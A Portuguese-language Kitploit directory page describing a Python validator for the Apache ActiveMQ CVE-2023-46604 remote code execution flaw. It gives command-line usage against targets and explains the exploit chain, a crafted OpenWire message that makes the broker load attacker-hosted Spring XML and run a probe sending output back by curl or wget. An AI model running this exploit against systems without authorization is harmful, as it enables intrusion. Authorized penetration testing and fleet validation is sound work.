Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ActiveMQ-CVE-2023-46604 — Validador não destrutivo para Apache ActiveMQ CVE-2023-46604. Envia pacotes OpenWire personalizados, usa servidor de callback HTTP para confirmar RCE ou carregamento de XML, e gera evidências em CSV/JSON para testes de penetração autorizados. | Kitploit
Ferramentas/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
Scanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Validador não destrutivo para Apache ActiveMQ CVE-2023-46604. Envia pacotes OpenWire personalizados, usa servidor de callback HTTP para confirmar RCE ou carregamento de XML, e gera evidências em CSV/JSON para testes de penetração autorizados.

Ver Repositório
31há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Validador Seguro do CVE-2023-46604 para ActiveMQ

Um validador de arquivo único e não destrutivo para Apache ActiveMQ CVE-2023-46604. Ele inicia seu próprio servidor de callback HTTP, gera XML Spring específico para o alvo em memória, envia o pacote OpenWire manipulado, correlaciona callbacks com tokens únicos e grava evidências em CSV/JSON.

O projeto foi projetado para testes de penetração autorizados e validação de frotas. Ele deliberadamente não implementa reverse shells, execução irrestrita de comandos, expansão CIDR, persistência ou preparação de payloads.

O que o validador comprova

Dois modos de prova fixos estão disponíveis:

  • rce executa uma sonda de identidade fixa e somente leitura e retorna sua saída ao servidor HTTP integrado. Um callback confirma a execução de comandos do sistema operacional no contexto do serviço ActiveMQ.
  • xml serve um contexto Spring vazio. Uma busca confirma que a mensagem OpenWire manipulada fez o alvo instanciar ClassPathXmlApplicationContext e recuperar XML controlado pelo atacante, sem iniciar um processo.

Nenhum arquivo XML precisa ser criado ou hospedado separadamente.

Recursos

  • Um único arquivo Python; apenas biblioteca padrão
  • Servidor HTTP integrado com threads
  • Tokens dinâmicos de XML e callback por alvo
  • Entrada explícita de alvo único e múltiplos alvos
  • Concorrência limitada e novas tentativas de envio
  • Suporte a OpenWire simples e OpenWire com TLS
  • Sondas de identidade fixas para Linux e Windows
  • Evidências em CSV por padrão, JSON opcional
  • Estados de resultado precisos que evitam falsas alegações de "não vulnerável"
  • Código de saída --fail-on-vuln compatível com CI

Requisitos

  • Python 3.9 ou mais recente
  • Acesso de rede do host de teste ao listener OpenWire do alvo
  • Acesso de rede do alvo de volta ao endereço de callback HTTP integrado
  • Autorização explícita para cada alvo

A porta OpenWire padrão é 61616, mas portas não padrão são suportadas.

Início rápido

Use endereços apenas para documentação nos exemplos; substitua-os pelos seus ativos autorizados.

Alvo Linux único

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

O script inicia o servidor de callback automaticamente em TCP/8000, serve o XML gerado, envia o pacote OpenWire, aguarda evidências, imprime uma tabela de resultados e grava:

activemq-cve-2023-46604-results.csv

Múltiplos alvos explícitos

python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

Arquivo de alvos

Crie targets.txt:

# Um host explicitamente autorizado por linha
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

Execute:

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

Arquivos de alvos podem conter linhas em branco e comentários que começam com #. A expansão CIDR não é suportada intencionalmente; enumere o inventário autorizado explicitamente.

Detecção automática do endereço de callback

Para redes roteadas simples, omita --callback-host:

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

A ferramenta seleciona o endereço de origem local usado para rotear em direção ao primeiro alvo. Especifique --callback-host ao testar através de NAT, VPNs, contêineres, hosts de salto ou sistemas multi-homed.

ActiveMQ hospedado em Windows

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

A sonda do Windows usa um comando PowerShell fixo e não interativo para retornar a identidade do serviço, o nome do computador e a versão do SO. Ela não fornece um shell interativo.

Validação somente de carregamento de XML

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

Este modo não instancia ProcessBuilder.

OpenWire com TLS

Use um alvo ssl://:

python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

Para um listener interno com certificado não confiável:

python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify afeta apenas a conexão TLS OpenWire. O servidor de callback é HTTP.

Estados de resultado

StatusSignificado
CONFIRMED_VULNERABLE_RCEO alvo buscou seu XML e o comando de identidade fixo retornou evidências.
CONFIRMED_VULNERABLE_XML_LOADNo modo xml, o alvo buscou o documento XML exclusivo.
VULNERABLE_XML_LOAD_ONLYNo modo rce, a recuperação do XML ocorreu, mas o callback do comando não. O caminho vulnerável de instanciação de classe é confirmado; ferramentas de callback, egress ou execução de processos podem estar restritas.
NOT_CONFIRMEDO pacote foi enviado, mas nenhuma evidência HTTP correlacionada chegou antes do prazo. Isso não é prova de que o host está corrigido.
UNREACHABLEA conexão TCP/TLS ou o envio do pacote falhou.

Um broker corrigido, porta incorreta, filtragem de egress, problemas de roteamento, incompatibilidade de TLS e controles de endpoint podem afetar a validação baseada em callback. Preserve os timestamps de CSV/JSON e a saída do callback como evidência de relatório.

Evidência de identidade fixa

A sonda de identidade do Linux retorna uma saída semelhante a:

CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

Ela tenta curl, wget e BusyBox wget para o POST HTTP. Se o XML for buscado, mas nenhum desses clientes estiver disponível, o resultado é VULNERABLE_XML_LOAD_ONLY em vez de um falso negativo.

Códigos de saída

  • 0: validação concluída, ou vulnerabilidades encontradas sem --fail-on-vuln
  • 2: pelo menos um resultado vulnerável foi encontrado e --fail-on-vuln foi fornecido
  • erros do argparse usam o código de erro normal de linha de comando diferente de zero

Exemplo de uso em CI:

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

Como funciona

O CVE-2023-46604 afeta o unmarshalling OpenWire do Java. O validador envia um ExceptionResponse OpenWire com marshalling solto cuja classe de exceção é:

org.springframework.context.support.ClassPathXmlApplicationContext

A mensagem de exceção é a URL exclusiva do XML Spring gerado. O código vulnerável do ActiveMQ instancia a classe selecionada pelo atacante com essa URL. No modo rce, o contexto Spring inicia uma sonda ProcessBuilder fixa; no modo xml, o contexto está vazio.

Cada alvo recebe um token diferente, por exemplo:

http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

Isso permite que callbacks simultâneos sejam atribuídos ao alvo correto.

Referência de comandos

Baixar ferramenta